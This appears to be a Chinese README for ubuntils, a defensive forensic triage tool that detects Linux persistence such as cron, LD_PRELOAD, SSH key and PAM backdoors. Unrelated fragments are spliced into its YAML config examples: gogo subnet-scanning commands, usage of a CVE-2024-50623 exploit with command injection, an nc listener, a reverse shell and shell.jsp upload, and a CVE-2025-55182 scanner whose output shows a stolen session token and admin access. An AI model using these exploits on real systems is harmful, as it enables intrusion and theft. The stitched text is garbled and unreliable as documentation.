用于 Ubuntu 系统取证分诊的 Python CLI/TUI —— 检测并修复持久化机制,具备工件收集、时间线关联和 Wazuh 集成功能。
针对运行中的 Ubuntu 系统的取证分诊——在 5 秒内完成自动化工件收集、持久化检测和引导式修复。
当你怀疑一台 Linux 系统已被入侵时,最初的 30-40 分钟通常都花在按顺序运行同样的十条命令上:检查运行中的进程、查找异常的 cron 任务、grep 查找 LD_PRELOAD、扫描 authorized_keys 中的新条目、审计 sudoers。每一步都是手动的、需要切换上下文,而且在压力下容易出错。漏掉一个来源——比如只看了 /etc/sudoers 而没看 /etc/sudoers.d/,或者只看了 /etc/cron.d/ 而没看用户 crontab——你得到的就是一幅不完整的图景。
现有的方案无法干净利落地解决这个问题。lynis 是一个加固审计工具,而不是分诊工具——它在干净系统上报告配置弱点,在已被入侵的系统上则产生大量噪音。chkrootkit 和 rkhunter 检查已知的 rootkit 特征,但对新型持久化技术视而不见,比如被滥用的 systemd 定时器或看似合法的 cron 条目。通用 SIEM 查询需要日志基础设施,而你正在查看的系统上可能并不存在这些设施。而像 Volatility 这样的取证套件针对的是内存镜像,而不是运行中主机上的实时 shell。
这个空白正是一款工具需要填补的:它现在就在实时系统上运行,覆盖最常见的持久化途径,将跨日志来源的活动关联成时间线,并准确告诉你该看什么——无需外部代理、数据库或互联网连接。
ubuntils 按四个连续阶段运行:
/proc、cron 表、systemd 单元、SSH 密钥、sudoers 文件、环境定义、软件包完整性(dpkg --verify)、PAM/NSS 配置以及已加载的内核模块中收集取证工件。在典型系统上大约需要 2.5 秒。--rules 加载的自定义规则——在大约一秒内生成一份按优先级排序、带置信度评分的发现列表。--json)。ubuntils 本身不进行任何网络调用,而且每一项功能——包括自定义规则和关联——都针对本地收集的工件运行。发现结果离开主机的唯一途径是 Wazuh 集成:如果安装了 Wazuh 代理,一次实时 scan 会将其发现写入本地文件,然后由该代理将其发送到其管理器。传入 --no-wazuh 可在某次运行中关闭该功能。
ubuntils scan 不受以下任何内容影响——它仍然是 100% 实时、单主机的,且所有现有标志的行为完全相同。另外两个命令 collect 和 analyze 将相同的检测/时间线流水线拆分为一个适合离线的“先采集后分析”工作流,适用于你无法(或不想)在受调查主机上直接运行检测的情况——请参阅下方的离线分析:collect 和 analyze,包括其检测覆盖范围的注意事项。
Ubuntu 22.04+ 以及任何具有 PEP 668 的系统(推荐):
Ubuntu 22.04+ 会阻止系统范围的 pip install。请使用 pipx——它会透明地处理环境,让你无需操心:```bash
sudo apt install pipx -y
cd ubuntils
pipx install -e .
ubuntils scan
**旧系统 / 手动安装:**```bash
git clone https://github.com/asmitdesai/ubuntils.git
cd ubuntils
pip install -r requirements.txt -e .
ubuntils scan
ubuntils 需要 root 权限才能完整访问所有工件。如果你以非 root 用户运行 ubuntils scan,它会自动使用相同的 Python 解释器(通过绝对路径)以 sudo 重新调用自身,因此会使用正确的环境,而不会将你的 PATH 转发到 root 进程中。每个外部命令(ss、dpkg、systemctl 等)都在固定的、root 拥有的搜索路径上解析,绝不会使用你的 PATH。不以 root 运行将跳过 /etc/shadow、部分 /proc 条目以及受保护的 cron 文件,并会为每一项记录警告。
仅检测 — 交互式 TUI:```bash sudo ubuntils scan
**使用 JSON 输出检测并将结果保存到文件:**```bash
sudo ubuntils scan --json > /tmp/triage-$(hostname)-$(date +%Y%m%d).json
使用 CLI 修复预览进行检测(试运行 — 未应用任何更改):```bash sudo ubuntils scan --remediate
**应用 CLI 修复后的检测:**```bash
sudo ubuntils scan --remediate --confirm
打印版本:```bash ubuntils version
**收集防篡改证据包以供后续或离线分析:**```bash
sudo ubuntils collect --output /path/to/bundle.tar.gz
分析先前收集的捆绑包(无需 root):```bash ubuntils analyze /path/to/bundle.tar.gz --json
**分析已挂载的取证镜像或提取的文件系统树,而非捆绑包:**```bash
ubuntils analyze --root /mnt/forensic-image --json
参见离线分析:收集与分析了解捆绑包格式,以及——重要的是——与实时 scan 相比,离线分析无法检测到的内容。
ubuntils scan [OPTIONS] --json Output JSON to stdout instead of launching the TUI --output FILE Write the JSON report to FILE (implies --json) --remediate Run the remediation engine after detection --confirm Required with --remediate to actually apply changes (else dry-run) --min-confidence N Only auto-remediate findings with confidence >= N (default 40) --no-wazuh Never forward findings to a local Wazuh agent --config FILE YAML allowlist of findings to suppress (see below) --baseline FILE YAML baseline of environment-specific known-good fingerprints to suppress (see below) --since TIME Limit the timeline to events since TIME (e.g. '24h', '7d', '2026-05-20') --rules FILE YAML file of custom detection rules to add (see below) --verbose Verbose structlog output
ubuntils collect [OPTIONS] --output FILE Bundle path to write (default ./ubuntils-bundle-.tar.gz) --verbose Verbose structlog output
ubuntils analyze (BUNDLE | --root PATH) [OPTIONS] --root PATH Analyze a mounted image / artifact tree instead of a bundle --json Output JSON instead of launching the TUI --output FILE Write the JSON report to FILE (implies --json) --config FILE YAML allowlist of findings to suppress (same format as scan) --baseline FILE YAML baseline of environment-specific known-good fingerprints to suppress (same format as scan) --rules FILE YAML file of custom detection rules to add (same format as scan) --since TIME Limit the timeline to events since TIME (e.g. '24h', '7d', '2026-05-20') --verbose Verbose structlog output
ubuntils version Print version string and exit
### 误报允许列表(`--config`)
新配置或由 CI 管理的主机会产生预期内的噪声——部署密钥、配置 crontab、内置 shell 初始化。与其让响应人员学会在脑中过滤这些内容,不如通过 YAML 允许列表显式抑制:```yaml
# allowlist.yaml
allowlist:
rules:
- SHELL_RC_MODIFICATION # suppress this rule entirely
paths:
- /home/ci/.ssh/authorized_keys # suppress any finding on this exact path
go install github.com/chainreactors/gogo/v2@latest
gogo -i 192.168.1.1/24 -p top2
gogo -h
gogo -i 192.168.1.1/24 -p top2 -f active
``````bash
sudo ubuntils scan --json --config allowlist.yaml
抑制始终是显式的——通过规则 ID 和/或精确的产物路径。不存在一刀切的“忽略一切”开关。示例位于 examples/allowlist.yaml。
--baseline)--config 会在任何人在此代码库上运行 ubuntils 时,在所有位置抑制某条规则或路径。--baseline 范围更窄且特定于环境:它表示“在此环境中,这个确切的产物——这个 SSH 密钥、这个 RC 文件——是已知良好的”,而不会为使用同一工具扫描的所有其他主机静音该规则或路径。将其与 --config 分开保存为单独文件,原因与 --rules 单独保存相同:抑制与规则级允许列表是不同的关注点,不应放在同一个文件中。```yaml
baseline:
## 漏洞利用
### 漏洞利用 - 命令注入
```bash
python3 CVE-2024-50623.py -u http://target.com -c "id"
# 在攻击者机器上启动监听器
nc -lvnp 4444
# 触发反向 shell
python3 CVE-2024-50623.py -u http://target.com -r 192.168.1.100:4444
python3 CVE-2024-50623.py -u http://target.com -f shell.jsp
-u, --url 目标 URL
-c, --cmd 要执行的命令
-r, --reverse 反向 shell 主机:端口
-f, --file 要上传的文件
-t, --timeout 请求超时时间(默认:10)
-v, --verbose 启用详细输出
将 Cleo 产品更新至 5.8.0.21 或更高版本。
本工具仅供教育和道德测试目的使用。未经授权访问系统是违法的。请负责任地使用。```bash sudo ubuntils scan --json --baseline baseline.yaml
基线条目通过 `rule_id` 加上一个 `fingerprint` 进行匹配,该 `fingerprint` 会作为发现项 `raw_value` 的子串进行测试,或与其 `artifact_path` 进行精确匹配。匹配成功会将发现项从报告中完全移除——不过抑制从来不是静默的:基线移除的发现项数量始终可见于 `scan_metadata.suppressed_by_baseline`。允许列表(`--config`)抑制仍然会在基线抑制之上生效。在 `scan` 和 `analyze` 上行为完全一致。示例位于 [`examples/baseline.yaml`](https://github.com/asmitdesai/ubuntils/blob/main/examples/baseline.yaml)。
### 自定义检测规则(`--rules`)
`--config` *抑制*发现项;`--rules` *添加*发现项。它们被刻意放在不同的文件中,因为它们属于相反的关注点。
规则文件仅支持模式匹配——没有表达式、没有条件语句,也不执行代码,因此加载规则文件永远不会运行攻击者提供的逻辑。每条规则指定一个工件 `source`、一个 `match` 模式和一个 `pattern`:```yaml
# custom_rules.yaml
rules:
- id: CUSTOM_KNOWN_MINER
severity: HIGH # HIGH | MEDIUM | LOW
title: Known cryptominer in process cmdline
description: A running process command line matches a known miner.
source: process # cron | environment | ssh | process | network
match: substring # regex | substring | glob
pattern: xmrig
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用代理扫描
python3 cve_2025_55182.py -t https://target.example.com -p http://127.0.0.1:8080
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt
# 使用自定义超时和线程数扫描
python3 cve_2025_55182.py -f targets.txt -T 15 -c 20
# 详细输出
python3 cve_2025_55182.py -t https://target.example.com -v
[+] 目标 https://target.example.com 存在漏洞
[+] 已获取会话令牌:eyJhbGciOiJIUzI1NiIs...
[+] 已获取管理员访问权限
该工具通过以下方式检测漏洞:
本工具仅供教育和道德安全测试目的使用。未经授权访问计算机系统是违法的。请务必在测试任何系统之前获得适当的授权。作者对因使用本工具而造成的任何误用或损害不承担责任。```bash sudo ubuntils scan --json --rules custom_rules.yaml
| `source` | 匹配对象 |
|---|---|
| `cron` | cron 命令(路径:crontab 文件) |
| `environment` | 原始环境/Shell 初始化行(路径:定义文件) |
| `ssh` | 密钥类型、密钥数据和注释(路径:`authorized_keys` 文件) |
| `process` | 进程命令行(路径:可执行文件路径) |
| `network` | 连接描述(路径:`remote_addr:remote_port`) |
`regex` 和 `substring` 匹配文本列;`glob` 匹配路径列——因此像 `203.0.113.*:*` 这样的 `network` glob 会针对远程端点。自定义规则发现仅作标记(从不自动修复),并且仍受 `--config` 抑制约束。示例位于 [`examples/custom_rules.yaml`](https://github.com/asmitdesai/ubuntils/blob/main/examples/custom_rules.yaml)。
### 报告完整性
每个 `--json` 报告都带有一个 `report_sha256` 字段——即对规范报告内容计算的 SHA-256。这使得收集到的分类取证工件具有防篡改特性,并允许你在案件文件中通过摘要引用特定扫描。报告还在 `scan_metadata` 下记录 `tool_version`、`hostname` 以及 UTC 的 `generated_at` 时间戳。对于 `scan`,`hostname`/`ubuntu_version` 描述的是运行 `ubuntils` 的机器;对于 `analyze --root`,它们从镜像自身的 `/etc/hostname` 和 `/etc/os-release` 读取。对于 `analyze BUNDLE`,它们则来自捆绑包自身的清单——即被*收集*的主机,而非运行 `analyze` 的主机——同时还有 `collection_run_id` 以及收集的 `collected_at_utc_start`/`collected_at_utc_end`,因此报告的监管链记录跟随证据而非分析师的工作站。
**验证报告。** 报告以规范形式输出(键排序、2 空格缩进),摘要涵盖除 `report_sha256` 本身之外的所有内容:```python
import hashlib, json
doc = json.load(open("report.json"))
claimed = doc.pop("report_sha256")
assert hashlib.sha256(json.dumps(doc, indent=2, sort_keys=True).encode()).hexdigest() == claimed
ubuntils scan 会针对活动主机同时运行收集、检测和时间线。collect 和 analyze 将该流程拆分为两部分:collect 从主机获取防篡改证据包(不运行检测),而 analyze 则针对证据包运行与 scan 相同的检测/时间线流程,或通过 --root 针对已挂载的镜像运行,无需 root 权限,也无需再次接触原始主机。这适用于以下场景:你希望一次性获取工件,之后在其他地方或反复进行分析——或者你正在对磁盘镜像而非运行中的系统进行取证分析。
sudo ubuntils collect --output /path/to/bundle.tar.gz
需要 root 权限,类似 `scan`。读取固定文件列表(`/etc/passwd`、`/etc/group`、`/etc/shadow`、`/etc/sudoers`、`/etc/ld.so.preload`、`/etc/environment`、`/etc/crontab`、`/etc/profile`、`/var/log/syslog`、`/var/log/messages`、`/var/log/audit/audit.log`),并运行固定命令列表(`ss -tunap`、`netstat -tunap`、`systemctl list-timers` 的 JSON 和文本两种形式,以及 `journalctl -o json` 获取最近 7 天的日志),对每个捕获项进行哈希,并将所有内容及 `manifest.json` 写入一个 `.tar.gz` 包中。捕获的日志文件和 journalctl 输出正是让 `analyze BUNDLE` 能够离线构建真实时间线的关键。如果省略 `--output`,包将写入当前目录下的 `./ubuntils-bundle-<UTC timestamp>.tar.gz`。
### `ubuntils analyze````bash
ubuntils analyze BUNDLE.tar.gz [--json] [--output FILE] [--config FILE] [--baseline FILE] [--rules FILE] [--since TIME]
ubuntils analyze --root /mnt/forensic-image [--json] [--output FILE] [--config FILE] [--baseline FILE] [--rules FILE] [--since TIME]
接受一个 bundle 路径作为位置参数,或使用 --root PATH 指向已挂载的镜像/已提取的文件系统树——不能同时使用两者。运行与 scan 相同的检测引擎、自定义规则、允许列表和基线逻辑。不需要 root 权限。bundle 会被提取到一个私有临时目录,分析完成后立即删除(该目录可能包含 /etc/shadow)。
两种离线模式的覆盖范围不同,因为 bundle 携带的是 collect 时捕获的重放状态,而 --root 只有挂载文件系统上现有的内容:
analyze BUNDLE 重放 collect 时捕获的真实 ss/systemctl list-timers/journalctl 命令输出,因此 NetworkCollector 和 SystemdCollector 会从该快照产生真实发现——它们不会被跳过。时间线由 bundle 捕获的 syslog/messages/audit.log/journalctl 构建,因此完全填充,发现结果能获得真实的 related_events 关联。analyze --root PATH 指向一个已挂载的静态镜像,没有可查询的实时进程或内核状态,因此命令执行被完全禁用:NetworkCollector 和 SystemdCollector 被跳过,记录在 scan_metadata.command_collectors_skipped 中。时间线仍会构建,但来自镜像上存在的静态日志文件(/var/log/syslog、/var/log/messages、)——此处 journald 重放不可用,因为没有实时 可查询静态镜像。有关离线检测覆盖缺口的完整列表,请参见 离线分析:collect 和 analyze。
bundle 是一个 gzip 压缩的 tarball,所有内容都位于 bundle/ 前缀下:```
bundle/
├── manifest.json
├── files/
│ ├── etc/passwd
│ ├── etc/shadow
│ ├── var/log/syslog
│ └── ... # every captured file, path-flattened under files/
└── commands/
├── ss.txt
├── netstat.txt
├── systemctl_list_timers_json.txt
├── systemctl_list_timers_text.txt
└── journalctl.txt
`manifest.json` schema:
| 字段 | 类型 | 描述 |
|---|---|---|
| `run_id` | string | 每次 `collect` 运行时新生成的 UUID |
| `host_id` | string | 为未来多主机关联预留;当前为空 |
| `hostname` | string | 采集时的 `socket.gethostname()` |
| `ubuntu_version` | string | 检测到的 Ubuntu 发行版字符串 |
| `collected_at_utc_start` / `collected_at_utc_end` | string (ISO 8601) | 采集运行的挂钟时间边界 |
| `tool_version` | string | 生成该 bundle 的 ubuntils 版本 |
| `files[]` | array | 每个捕获文件对应一个条目:`source_path`、`bundle_path`、`sha256`、`size`、`mtime`、`ctime`(源主机上不存在或不可读的文件会以 `sha256: ""`、`size: -1` 记录,而不是中止采集) |
| `commands[]` | array | 每个捕获命令对应一个条目:`name`、`argv`、`bundle_path`、`sha256`、`exit_code` |
| `bundle_sha256` | string | 对 manifest 其余部分(上述所有内容,按规范序列化)计算的 SHA-256 —— 整个 bundle 的防篡改锚点 |
### JSON 输出中的 bundle 完整性
`analyze` 的 `scan_metadata.bundle_integrity` 会报告以下三个值之一:
- `"live"` —— `scan` 和 `analyze --root` 会报告此值;没有 bundle 需要验证。
- `"ok"` —— `analyze BUNDLE` 已验证 `bundle_sha256` 与 manifest 一致,并且每个捕获文件的 SHA-256 与其 bundle 内容一致;自 `collect` 写入以来没有任何内容被改动。
- `"mismatch"` —— manifest 摘要、某个捕获文件的哈希或某个捕获命令输出的哈希不匹配。bundle 中的某些内容在采集后被修改、截断或损坏,任何由其派生的内容都不应被视为保管链干净可信。`analyze` 仍会生成报告,但会向 stderr 打印红色警告,在 TUI Summary 标签页顶部显示完整性横幅,并**以状态码 3 退出**,这样脚本就不会将被篡改 bundle 的结果误认为权威结果。
### ⚠️ 离线分析存在真实的检测缺口 —— 依赖它之前请先阅读本节
**基于 bundle 或 `--root` 的 `analyze` 运行与实时 `scan` 并不具备检测对等性。** 这些不是边缘情况;它们是静态、离线采集的结构性限制,并且对于受影响的规则,它们会产生更少(或零)发现,而不是报错。当采集器*知道*自己无法查看某些内容时(命令失败、文件不可读),这会被记录在 `scan_metadata.collectors_degraded` 中,并在 TUI Summary 标签页中标记 —— 但一个仅仅未被捕获的文件看起来与一个不存在的文件相同。(时间线本身*不再*属于这些缺口之一:`analyze BUNDLE` 会重放从 `collect` 时捕获的 syslog/messages/audit.log/journalctl,而 `analyze --root` 会读取挂载镜像上存在的静态日志文件,因此两者都会产生真实的时间线和真实的 `related_events` 关联 —— 参见上文 [`ubuntils analyze`](#ubuntils-analyze)。)
- **`PROCESS_MASQUERADE` 和 `PROCESS_SUSPICIOUS_CONNECTION` 在离线模式下将始终报告零发现。** 这两条规则都依赖于进程的 `exe` 字段,该字段通过 artifact 源读取 `/proc/<pid>/exe` 符号链接目标来填充(绝不是分析人员自己的 `/proc`)。bundle 没有可读取的实时 `/proc`,而 `--root` 指向的是没有 `/proc` 的挂载文件系统树 —— 目前没有机制可以在离线状态下捕获或重建已解析的 exe 符号链接目标,因此 `exe` 始终为空,无论主机上实际有什么,这两条规则都不会触发。
- **离线时根本不会进行进程枚举。** `collect` 没有按 PID 的采集步骤(`/proc/*/status`、`/proc/*/cmdline`),因此 bundle 中一开始就不存在可供分析的进程 —— 这与上一点是同一根本原因,只是从采集侧来看。
- **`CRON_TMP_PATH`、`SUDOERS_NOPASSWD` 和 `SSH_UNAUTHORIZED_KEY` 在基于 bundle 的分析中受限或缺失。** `collect` 的文件列表是静态的,无法对 `/etc/cron.d/*`、`/etc/sudoers.d/*`、`/etc/profile.d/*` 或每用户的 `~/.ssh/authorized_keys` 进行 glob 展开 —— 只会捕获 `/etc/crontab`、`/etc/sudoers` 以及 `/etc/environment`/`/etc/profile`。(针对完整挂载文件系统树的 `--root` 不存在此缺口,因为真实目录存在于磁盘上。)当 `SSH_UNAUTHORIZED_KEY` 或 `SHELL_RC_MODIFICATION` *确实*触发时(实时扫描,或存在真实每用户目录的 `--root`),它们现在还会根据 ctime 和文件内容来评分置信度,而不仅仅是 mtime —— 参见下文[置信度评分](#json-output)。这提高了你对确实触发的发现的信任程度;但它不会改变该规则在离线状态下是否触发。
- **`SUSPICIOUS_SYSTEMD_TIMER` 检测对 bundle 而言被削弱。** 服务单元直接从单元目录(`/etc/systemd/system`、`/usr/lib/systemd/system`、每用户的 `~/.config/systemd/user` 等)读取,因此 `--root` 能获得完整的服务覆盖。但 bundle 不会捕获这些目录:定时器会从捕获的 `systemctl list-timers` 输出中出现,但每个定时器的 `ExecStart` 来自 `collect` 不会执行的按单元 `systemctl show` 调用,因此该规则无法评估 bundle 中定时器运行的内容。
**何时重要:** 如果你正在对一台实时、可访问的主机进行分诊,请使用 `sudo ubuntils scan` —— 它具有完整的检测覆盖。当你需要采集一次并在别处分析、需要在无 root 权限下分析,或正在处理无法使用 `scan` 的磁盘镜像时,请使用 `collect`/`analyze` —— 并将上述规则得到干净的 `analyze` 结果视为“未检查”,而不是“已检查且干净”。
---
## TUI
运行 `sudo ubuntils scan`(不带 `--json`)会启动一个全终端交互式 TUI。
### 扫描屏幕
在采集器运行时,ubuntils 会显示一个实时清单 —— 每个采集器一行。随着采集器完成,每一行都会实时更新:```
Scanning system…
✓ Process
✓ Network
✓ Users
⠹ Cron
Systemd
SSH
Sudoers
Environment
✓ 表示成功,✗ 表示失败,spinner 表示当前活动的收集器,空白行表示待处理。当所有收集器完成且检测 + 时间线完成后,TUI 会自动切换到结果屏幕。
结果屏幕有四个标签页,通过数字键导航:
按 q 或 Ctrl+C 退出。
1)在单个屏幕上显示扫描元数据和主要发现:``` Collectors: 8 run · 0 failed Findings: 2 HIGH · 1 MEDIUM · 0 LOW Timeline: 47 events Duration: 2.8s
● HIGH CRON_TMP_PATH /etc/cron.d/cleanup ● HIGH LD_PRELOAD_INJECT /home/alice/.bashrc ○ MED SSH_UNAUTHORIZED_KEY /home/bob/.ssh/authorized_keys
在干净的系统上,此标签页显示 `System appears clean.`
### 发现标签页(按键 `2`)
所有发现的滚动列表,按 HIGH → MEDIUM → LOW 排序。选择一个发现(Enter 或方向键)会在底部展开详情窗格,显示完整描述、工件路径、原始触发值和修复信息。```
HIGH CRON_TMP_PATH /etc/cron.d/cleanup
HIGH LD_PRELOAD_INJECT /home/alice/.bashrc
MED SSH_UNAUTHORIZED_KEY /home/bob/.ssh/authorized_keys
───────────────────────────────────────────────────────
A cron job was found referencing /tmp, /var/tmp, or /dev/shm.
These directories are world-writable and commonly used as
attacker staging grounds.
Artifact: /etc/cron.d/cleanup
Raw: 0 * * * * root /tmp/.update
Fix: Will remove the offending cron entry from
/etc/cron.d/cleanup after creating a timestamped backup.
R: remediate
对于有可用自动修复的发现项,在选中该发现项时按 R。会出现一个确认弹窗:```
┌─────────────────────────────────────────────────┐
│ Remediate CRON_TMP_PATH? │
│ │
│ Will remove the offending cron entry from │
│ /etc/cron.d/cleanup after creating a backup. │
│ Backup will be created at /var/backups/ubuntils/…│
│ │
│ Y: confirm Esc: cancel │
└─────────────────────────────────────────────────┘
按 `Y` 确认。修复程序在后台线程中运行。完成后,列表中的发现行会更新为 `[fixed]`,详情窗格会显示结果:```
✓ Remediated
Backup: /var/backups/ubuntils/20260115_142201/etc_cron.d_cleanup
Rollback: cp /var/backups/ubuntils/20260115_142201/etc_cron.d_cleanup /etc/cron.d/cleanup
失败时,详情窗格会显示错误。备份始终会在尝试任何更改之前创建。
按 Esc 折叠详情窗格。
3)一个可滚动的按时间顺序排列的相关日志事件列表。每行显示时间戳、来源和描述。事件从 syslog、journald 和 auditd 中提取并去重。
4)扫描的摘要视图:检测到的 Ubuntu 版本、架构、扫描时长、收集器数量及失败数,以及按严重性划分的发现计数和总时间线事件数。
CRON_ROOT_EXEC — 用户 crontab 以 crontab 所有者的身份运行。一个调用 sudo 或 root 拥有的解释器的条目意味着该用户已安排代码按计划以 root 权限运行,而无需持久的 sudo 访问权限。这能在密码更改后继续存在。
示例发现:``` [HIGH] CRON_ROOT_EXEC Title: User crontab executing with sudo Artifact: /var/spool/cron/crontabs/alice Raw value: */5 * * * * sudo /usr/bin/python3 /tmp/beacon.py Remediation: available
**CRON_TMP_PATH** — 像 /tmp 和 /dev/shm 这样的全局可写目录是攻击者标准的暂存场所。一个指向那里的 cron 任务意味着可以在两次调用之间替换载荷,而无需触碰任何持久化路径。这涵盖了 `@reboot`/`@daily` 风格的条目以及 `/etc/cron.{hourly,daily,weekly,monthly}` 中的脚本;对这些脚本的发现仅为标记,因为从 shell 脚本中删除一行并不是安全的自动修复。
*示例发现:*```
[HIGH] CRON_TMP_PATH
Title: Cron job references writable temp directory
Artifact: /etc/cron.d/cleanup
Raw value: 0 * * * * root /tmp/.update
Remediation: available
LD_PRELOAD_INJECT — LD_PRELOAD 会使动态链接器在所有其他共享库之前加载指定的共享库,从而允许对任何动态链接的二进制文件进行任意函数拦截。指向标准库路径之外的值几乎可以确定是用户态 rootkit 的迹象;以空格或冒号分隔的列表中的每个库都会被检查。/etc/ld.so.preload 会注入到每一个进程中,并且在原版 Ubuntu 上为空,因此其中的任何条目都会被报告——即使是被植入 /lib 中的条目,这是一种常见的 rootkit 手法。修复措施是删除 /etc/ld.so.preload 中的条目,而不是将其注释掉,因为加载器在该文件中没有注释语法。
示例发现:``` [HIGH] LD_PRELOAD_INJECT Title: LD_PRELOAD set to non-standard library path Artifact: /home/alice/.bashrc Raw value: export LD_PRELOAD=/tmp/.libssl.so Remediation: available
**SUSPICIOUS_SYSTEMD_TIMER** — 对大多数应急响应人员而言,Systemd 定时器比 cron 任务更持久且更不易察觉。一个定时器——或者一个普通的 `.service` 单元(这是更常见的持久化方式,且完全不需要定时器)——其 ExecStart 引用了临时目录,或运行了非 root 所有的二进制文件,都是攻击者创建持久化的迹象。服务单元直接从单元目录读取,包括每用户的 `~/.config/systemd/user`。仅标记——移除 systemd 单元需要人工判断。
*示例发现:*```
[HIGH] SUSPICIOUS_SYSTEMD_TIMER
Title: Systemd timer ExecStart points to suspicious path
Artifact: /etc/systemd/system/update-check.timer
Raw value: ExecStart=/tmp/.sys/update
Remediation: not available
SSH_UNAUTHORIZED_KEY — 新添加的 SSH 密钥会授予独立于密码的持久远程访问权限。7 天窗口期可捕获近期添加的密钥,同时避免较旧系统初始配置时产生的噪声。注意:该规则使用文件 mtime,它反映的是 authorized_keys 文件的最后写入时间,而非每个单独密钥的插入时间戳。
示例发现:``` [MEDIUM] SSH_UNAUTHORIZED_KEY Title: SSH authorized key added in last 7 days Artifact: /home/bob/.ssh/authorized_keys Raw value: ssh-rsa AAAAB3NzaC1... attacker@evil Remediation: available
**SUDOERS_NOPASSWD** — 为人类用户账户(UID ≥ 1000 且具有登录 shell)配置免密码 sudo 是一种权限提升途径,即使其他持久化机制被移除后仍然存在。合法的 NOPASSWD 授权几乎总是针对没有登录 shell 的服务账户。组规则(`%sudo ALL=(ALL) NOPASSWD:ALL`)会被解析为其成员,并且会跟踪 `#include`/`@includedir` 文件。组发现结果仅作标记:删除像 `%sudo` 这样的规则可能会移除系统上的所有 sudo 授权。
*示例发现:*```
[MEDIUM] SUDOERS_NOPASSWD
Title: NOPASSWD sudo grant for regular user
Artifact: /etc/sudoers.d/alice
Raw value: alice ALL=(ALL) NOPASSWD: ALL
Remediation: available
PROCESS_MASQUERADE — 将恶意二进制文件命名为已知系统进程(sshd、python3、bash)是一种基本技术,用于避免在 ps 输出中被检测到。此规则将 /proc/<pid>/status 中的进程名称与 /proc/<pid>/exe 中解析出的可执行文件路径进行交叉引用。标准位置包括 /usr/local/{bin,sbin}、/usr/lib、/usr/libexec 和 /snap,因此 systemd(/usr/lib/systemd/systemd)和 snap 包不会触发此规则。仅标记——终止进程需要人工判断。
示例发现:``` [MEDIUM] PROCESS_MASQUERADE Title: Process masquerading as system binary Artifact: /proc/1337/exe Raw value: name=sshd, exe=/tmp/.sshd Remediation: not available
**USER_UID_ZERO** — 只有 `root` 应持有 UID 0。第二个映射到 UID 0 的账户(CIS Ubuntu Benchmark 6.2.x)是一个高置信度的后门:它在不更改 root 自身凭据的情况下授予完整的超级用户权限,并且在 root 密码重置后仍然存在。误报率接近于零。仅标记 — 删除 UID-0 账户需要人工判断。
*示例发现:*```
[HIGH] USER_UID_ZERO
Title: Non-root account with UID 0
Artifact: /etc/passwd
Raw value: toor:x:0:0:...:/bin/bash
Remediation: not available
USER_EMPTY_PASSWORD — 如果某个账户的 /etc/shadow 密码字段为空,则该账户根本没有密码,而 Ubuntu 默认的 PAM 栈(pam_unix ... nullok)允许其无需密码即可登录。对于拥有登录 shell 的账户而言,这无异于一扇敞开的门。仅标记 — 在调查期间使用 passwd -l 将其锁定。
示例发现:``` [HIGH] USER_EMPTY_PASSWORD Title: Login account with no password Artifact: /etc/shadow Raw value: eve:: Remediation: not available
**PROCESS_SUSPICIOUS_CONNECTION** — 持久化只是图景的一半;一个从不与任何东西通信的立足点很少是你真正关心的那个。此规则通过 PID 将进程和网络收集器连接起来,使被标记的进程在到达时附带其当前连接。一个暂存在 `/tmp` 中并持有已建立出站套接字的可执行文件为 HIGH;一个合法二进制文件连接到非标准远程端口为 MEDIUM,值得一看。这是当前状态的快照,而非持续监控——在你扫描时处于休眠状态的信标不会出现。仅标记。
*示例发现:*```
[HIGH] PROCESS_SUSPICIOUS_CONNECTION
Title: Process with suspicious outbound connection
Artifact: /proc/1337/exe
Raw value: 203.0.113.9:4444
Remediation: not available
SHELL_RC_MODIFICATION — Shell 初始化文件是一种可靠的持久化载体,因为它们在每次用户登录时都会执行。此规则会呈现最近的修改以供人工审查。仅标记 — 对 shell RC 内容采取行动前需要先阅读它。
示例发现:``` [LOW] SHELL_RC_MODIFICATION Title: Shell init file recently modified Artifact: /root/.bashrc Raw value: mtime=2024-01-15 14:22:01 (6 hours ago) Remediation: not available
**PACKAGE_TAMPERED** — 系统拥有的二进制文件和配置文件是信任的基础。此规则使用 `dpkg --verify` 检测软件包拥有的文件是否已被修改、删除,或存在内容/模式/大小不匹配。仅 Conffile 编辑(预期的本地配置更改)被排除在报告之外以避免噪音。仅标记——篡改可能是合法的(自定义本地编辑)或恶意的(文件替换);需要人工判断来决定。
*示例发现:*```
[HIGH] PACKAGE_TAMPERED
Title: Package-owned file modified since installation
Artifact: /usr/bin/sshd
Raw value: ....5..T. (content and mtime differ)
Remediation: not available
IMMUTABLE_FLAG_SET — 攻击者经常在文件上设置不可变标志(i)或仅追加标志(a),以阻止修改或删除,即使是 root 也无法操作,包括隐藏篡改以防止进一步的编辑/日志轮转。在敏感系统文件(如 /etc/passwd、/etc/sudoers、/etc/pam.d/*,或 auth/syslog/wtmp/btmp 日志文件)上设置这些标志是攻击者加固的强烈指标。此规则通过 lsattr 针对该固定敏感路径列表检测不可变和仅追加标志。仅标记 — 标志更改需要人工审查。
示例发现:``` [MEDIUM] IMMUTABLE_FLAG_SET Title: Sensitive file has an unexpected chattr flag Artifact: /etc/ld.so.preload Raw value: ----i--------e--- Remediation: not available
**PAM_BACKDOOR** — PAM(可插拔认证模块)和 NSS(名称服务切换)是 Linux 上的核心认证和身份系统。此规则不进行基于 mtime 的“此文件是否被修改”检测——它对文件*内容*进行模式匹配:(1) 任何 /etc/pam.d/* 文件中的字面 `pam_permit.so` 行(此模块始终成功,是经典的认证绕过后门),或 (2) /etc/nsswitch.conf 中列出的、不在 ubuntils 内置允许列表中的 NSS 模块。**注意:** NSS 检查会在加入域/SSSD/LDAP/Winbind 的主机上使用内置允许列表之外的模块时产生误报——因此其置信度被有意设置为低于 pam_permit.so 匹配;请使用 `--config` 为您的环境将无法识别的模块名称加入允许列表。仅标记——认证配置更改需要仔细验证。
*示例发现:*```
[HIGH] PAM_BACKDOOR
Title: PAM config unconditionally permits authentication
Artifact: /etc/pam.d/sshd
Raw value: auth required pam_permit.so
Remediation: not available
[HIGH] PAM_BACKDOOR
Title: Unexpected NSS module in nsswitch.conf
Artifact: /etc/nsswitch.conf
Raw value: passwd: files evilmod
Remediation: not available
